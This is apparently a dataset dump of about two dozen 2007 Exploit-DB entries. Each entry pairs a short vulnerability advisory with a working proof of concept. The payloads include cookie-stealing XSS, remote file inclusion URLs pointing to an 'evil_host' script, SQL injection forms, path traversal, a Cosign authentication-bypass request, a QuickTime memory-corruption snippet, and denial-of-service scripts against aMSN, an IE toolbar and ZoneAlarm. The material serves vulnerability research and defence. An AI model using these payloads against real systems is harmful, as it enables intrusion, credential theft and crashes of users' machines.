QLWD/code_shield huggingface dataset:
标题: Phorum 5.1.20 - 'admin.php?module[]' Full Path Disclosure EDB-ID: 29890 CVE: 2007-2250 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info
   
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
   
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module[]=groups

Warning: basename() expects parameter 1 to be string, array given in
C:\apache_wwwroot\phorum.5.1.20\admin.php on line 57 URL: https://www.exploit-db.com/exploits/29890
标题: ACVSWS - 'Transport.php' Remote File Inclusion EDB-ID: 29883 CVE: 2007-2202 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23603/info

acvsws_php5 is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/inc_ACVS/SOAP/Transport.php?CheminInclude=Shell URL: https://www.exploit-db.com/exploits/29883
标题: Lms 1.5.x - 'RTMessageAdd.php' Remote File Inclusion EDB-ID: 29886 CVE: 2007-2205 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23611/info

LMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects LMS 1.5.3 and 1.5.4; earlier versions may also be vulnerable.

http://www.example.com/modules/rtmessageadd.php?_LIB_DIR=Shell? URL: https://www.exploit-db.com/exploits/29886
标题: Apple QuickTime 7.1.5 - QTJava toQTPointer() Java Handling Arbitrary Code Execution EDB-ID: 29884 CVE: 2007-2175 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23608/info

QuickTime is prone to a vulnerability that may aid in the remote compromise of a vulnerable computer.

The issue occurs when a Java-enabled browser is used to view a malicious website. QuickTime must also be installed.

Attackers may exploit this issue to execute arbitrary code in the context of a user running the vulnerable application. Failed exploit attempts will likely result in denial-of-service conditions.

This issue is exploitable through both Safari and Mozilla Firefox running on Mac OS X. Reports indicate that Firefox on Windows platforms may also be an exploit vector.

Reports also indicate that Internet Explorer 6 and 7 running on Windows XP may be an exploit vector, but that a sandboxing feature may interfere with successful exploits. Neither of these points has been confirmed. 

// Initialize QT
QTSession.open();

// Get a handle to anything
byte b[] = new byte[1 /*arbitrary*/];
QTHandle h = new QTHandle(b);

// Turn the handle into a pointer object. The
// large negative value throws off bounds checking.
QTPointerRef p = h.toQTPointer(-2000000000 /*off*/, 10 /*size*/);

// Write to it.
p.copyFromArray(0 /*offset*/, b /*source*/, 0, 1 /*length*/); URL: https://www.exploit-db.com/exploits/29884
标题: Phorum 5.1.20 - 'admin.php?Groups Module group_id' Cross-Site Scripting EDB-ID: 29887 CVE: 2007-2248 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23616/info

Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.

Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module=groups&edit=1&
group_id="><script>alert(123);</script> URL: https://www.exploit-db.com/exploits/29887
标题: PHPMySpace Gold 8.10 - 'article.php' SQL Injection EDB-ID: 29882 CVE: 2007-2247 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23602/info

phpMySpace Gold is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

phpMySpace Gold 8.10 is vulnerable; other versions may also be affected.

<html> <head><title>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</title><body> <center><br><br><font size=4>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22">"Powered by Ripe Website Manager"</a></font><br> <br><br> <form action="http://www.example.com/path/modules/news/article.php" method="get"> <input name="mode" type="hidden" value="0"> <input name="order" type="hidden" value="0"> <input name="item_id" size=75 value="1" AND "1"="0"> <input type=submit value="Execute SQL Injection" class="button"> </form> </body></html> URL: https://www.exploit-db.com/exploits/29882
标题: Exponent CMS 0.96.5/0.96.6 - 'iconspopup.php?icodir' Traversal Arbitrary Directory Listing EDB-ID: 29872 CVE: 2007-2252 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23574/info
  
Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data.
  
http://www.example.com/iconspopup.php?icodir=/../../../ URL: https://www.exploit-db.com/exploits/29872
标题: TJSChat 0.95 - 'You.php' Cross-Site Scripting EDB-ID: 29876 CVE: 2007-2256 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23593/info

TJSChat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects TJSChat 0.95; other versions may also be affected.

http://www.example.com/you.php?user=[xss] URL: https://www.exploit-db.com/exploits/29876
标题: AMSN 0.96 - Malformed Message Denial of Service EDB-ID: 29875 CVE: 2007-2195 类型: DOS 平台: MULTIPLE 发布日期: 2007-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/23583/info

aMsn is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects aMsn 0.96 and prior versions.

import socket

HOST = 'victim.com'
PORT = 31337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
i = 1
while i <= 3:
   s.send('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\
          ?!"?$%&/()=?`#+#-.,;:_??????%X%X%X%X%X%XXX%X%x%x%x%x%x%x%x%x%x%n%n%n\
          %n%n%n%n%n%n\????#?[{#?]?#\`~??')

---fuck off here---

I think it were the character '}', '{' or '%x', '%n'. Try to determine this for
yourself! Don't bug me with this shit.

/* Vendor contacted? */
NO! Why should I contact them? :) lol, go away and contact them yourself.

/* EOF */ URL: https://www.exploit-db.com/exploits/29875
标题: Exponent CMS 0.96.5/0.96.6 - 'magpie_debug.php?url' Cross-Site Scripting EDB-ID: 29870 CVE: 2007-2337 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23574/info

Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data. 

http://www.example.com/external/magpierss/scripts/magpie_debug.php?url=<script> alert(document.cookie) </script> URL: https://www.exploit-db.com/exploits/29870
标题: PHP Turbulence 0.0.1 - 'Turbulence.php' Remote File Inclusion EDB-ID: 29874 CVE: 2007-2503 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23580/info

PHP Turbulence is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHP Turbulence 0.0.1 alpha; other versions may also be affected. 

http://www.example.com/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt? URL: https://www.exploit-db.com/exploits/29874
标题: Wabbit Gallery Script 0.9 - 'showpic.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29865 CVE: 2007-2098 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/23526/info

Wabbit Gallery Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Wabbit Gallery Script 0.9 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/showpic.php?pic=[xss]
http://www.example.com/[path]/showpic.php?gal=[xss] URL: https://www.exploit-db.com/exploits/29865
标题: Exponent CMS 0.96.5/0.96.6 - 'magpie_slashbox.php?rss_url' Cross-Site Scripting EDB-ID: 29871 CVE: 2007-2337 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23574/info
 
Exponent CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data.
 
http://www.example.com/external/magpierss/scripts/magpie_slashbox.php?rss_url=<script> alert(document.cookie) </script> URL: https://www.exploit-db.com/exploits/29871
标题: Ripe Website Manager 0.8.4 - '/contact/index.php?ripeformpost' SQL Injection EDB-ID: 29877 CVE: 2007-2207 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23597/info


<html>
<head><title>Ripe Website Manager (<= 0.8.4) - Cross-Site Scripting and SQL Injection Exploit</title><body>

<center><br><br><font size=4>Ripe Website Manager (<= 0.8.4) - Cross-Site Scripting and SQL Injection Exploit</font><br><font size=3>discovered by <a
href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=%22Powered+by+Ripe+Website+Manager>"Powered by Ripe
Website Manager"</a></font><br>

<br><br>
<form action="http://www.example.com/path/contact/index.php" method="post">
<input name="ripeformpost" size=75 value="<"<<script>alert(1);</script>">
<input type=submit value="Execute Attack" class="button">
</form> URL: https://www.exploit-db.com/exploits/29877
标题: NetSprint Ask IE Toolbar 1.1 - Multiple Denial of Service Vulnerabilities EDB-ID: 29867 CVE: 2007-2210 类型: DOS 平台: WINDOWS 发布日期: 2007-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/23535/info

NetSprint Ask IE Toolbar ActiveX control is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues allows remote attackers to crash applications that employ the vulnerable controls (typically Microsoft Internet Explorer). Attackers may potentially exploit these issues to execute code, but this has not been confirmed.

NetSprint Ask IE Toolbar 1.1 is vulnerable; other versions may also be affected.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:89D30B4C-2408-4E78-A334-8FF8A9713EA7' id='target' />
<script language='vbscript'>

arg=String(4000, "A")

target.AddAllowed arg

</script></job></package> URL: https://www.exploit-db.com/exploits/29867
标题: eIQnetworks Enterprise Security Analyzer 2.5 - Multiple Buffer Overflow Vulnerabilities EDB-ID: 29850 CVE: 2007-2059 类型: DOS 平台: WINDOWS 发布日期: 2007-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/23454/info

eIQnetworks Enterprise Security Analyzer is prone to multiple buffer-overflow vulnerabilities because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

Exploiting these issues allows remote attackers to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Enterprise Security Analyzer 2.5 is reported vulnerable; other versions may also be affected. 

- DELETESEARCHFOLDER : [DELETESEARCHFOLDER&A x 40000...&]
- DELTASK: [DELTASK&A x 3000...&current&test&]
- HMGR_CHECKHOSTSCSV: [ HMGR_CHECKHOSTSCSV&A x 80000...&]
- TASKUPDATEDUSER: [TASKUPDATEDUSER&A x 60000...&test&test&]
- VERIFYUSERKEY: [VERIFYUSERKEY&A x 13000...&Administrator&127.0.0.1&12345]
- VERIFYPWD: [VERIFYPWD&A x 6000...&admin&adminpass&] URL: https://www.exploit-db.com/exploits/29850
标题: Actionpoll 1.1 - 'Actionpoll.php' Remote File Inclusion EDB-ID: 29863 CVE: 2007-2064 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/23504/info

Actionpoll is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Actionpoll 1.1.0; other versions may also be vulnerable.

http://www.example.com/[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts? URL: https://www.exploit-db.com/exploits/29863
标题: TuMusika Evolution 1.6 - 'index.php' Cross-Site Scripting EDB-ID: 29848 CVE: 2007-2090 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/23452/info

TuMusika Evolution is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects TuMusika Evolution 1.6; other versions may also be affected. 

http://www.example.com/[path]/index.php?msg=<script>alert(/the_Edit0r/);</script> URL: https://www.exploit-db.com/exploits/29848
标题: MailBee WebMail Pro 3.4 - 'Check_login.asp' Cross-Site Scripting EDB-ID: 29851 CVE: 2007-2061 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/23481/info

MailBee WebMail Pro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects MailBee WebMail Pro 3.4; other versions may also be affected. 

http://www.example.com/[path]/index.php?msg=<script>alert(/the_Edit0r/);</script> URL: https://www.exploit-db.com/exploits/29851
标题: BloofoxCMS 0.2.2 - 'Img_Popup.php' Cross-Site Scripting EDB-ID: 29854 CVE: 2007-2310 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23487/info

BloofoxCMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects BloofoxCMS 0.2.2; other versions may also be vulnerable. 

http://www.example.com/[path]/plugins/spaw/img_popup.php?img_url=<script>alert(/the_Edit0r/);</script> URL: https://www.exploit-db.com/exploits/29854
标题: ToendaCMS 1.5.3 - GET / POST Forms HTML Injection EDB-ID: 29849 CVE: 2007-1872 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/23453/info

ToendaCMS is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects ToendaCMS 1.5.3; other versions may also be affected. 

<form action="http://toendainstallation/" method="post">
 <input type="hidden" name="searchword" value='"><script>alert(1)</script>'>
 <input type="hidden" name="id" value="search">
 <input type="submit"></form> URL: https://www.exploit-db.com/exploits/29849
标题: Flowers - 'Cas.php' Cross-Site Scripting EDB-ID: 29855 CVE: 2007-2308 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23488/info

FloweRS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects FloweRS 2; other versions may also be vulnerable. 

http://www.example.com/[path]/cas.php?rok=<script>alert(/the_Edit0r/);</script> URL: https://www.exploit-db.com/exploits/29855
标题: ZoneAlarm 6.1.744.001/6.5.737.000 - Vsdatant.SYS Driver Local Denial of Service EDB-ID: 29860 CVE: 2007-2083 类型: DOS 平台: WINDOWS 发布日期: 2007-04-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/23494/info

ZoneAlarm is prone to a local denial-of-service vulnerability.

This issue occurs when attackers supply invalid argument values to the 'vsdatant.sys' driver.

A local attacker may exploit this issue to crash affected computers, denying service to legitimate users.

ZoneAlarm Pro 6.5.737.000 and 6.1.744.001 are prone to this issue; other versions may be affected as well. 

/*

 Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00001P000ZA)
 

 Usage:
 prog FUNCNAME
   FUNCNAME - name of function to be checked

 Description:
 This program calls given function with parameters that cause the crash of the system. This happens because of 
 insufficient check of function arguments in the driver of the firewall.

 Test:
 Running the testing program with a name of a vulnerable function.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00001P000ZA)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test FUNCNAME\n"
         "  FUNCNAME - name of function to be checked\n");
  return;
}



int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtCreateKey") || !stricmp(argv[1],"ZwCreateKey"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);

    for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300)
      ZwCreateKey(&handle,0,&oa,0,NULL,0,NULL);

  } else if (!stricmp(argv[1],"NtDeleteFile") || !stricmp(argv[1],"ZwDeleteFile"))
  {
    OBJECT_ATTRIBUTES oa;
    UNICODE_STRING us={0x6B3,0x12,(PVOID)0x10000};
    InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
    ZwDeleteFile(&oa);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
} URL: https://www.exploit-db.com/exploits/29860
标题: PHPwebnews 0.1 - 'iklan.php' Cross-Site Scripting EDB-ID: 29845 CVE: 2007-2300 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23448/info

The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/iklan.php?m_txt=[xss] URL: https://www.exploit-db.com/exploits/29845
标题: Cosign 2.0.1/2.9.4a - CGI Register Command Remote Authentication Bypass EDB-ID: 29844 CVE: 2007-2233 类型: WEBAPPS 平台: CGI 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23424/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An authenticated attacker can exploit this issue to access services hosted on an affected computer by assuming another user's credentials.

Versions prior to 1.9.4b and 2.0.2a are vulnerable. 

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In URL: https://www.exploit-db.com/exploits/29844
标题: PHPwebnews 0.1 - 'index.php' Cross-Site Scripting EDB-ID: 29846 CVE: 2007-2300 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23448/info
 
The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/index.php?m_txt=[xss] URL: https://www.exploit-db.com/exploits/29846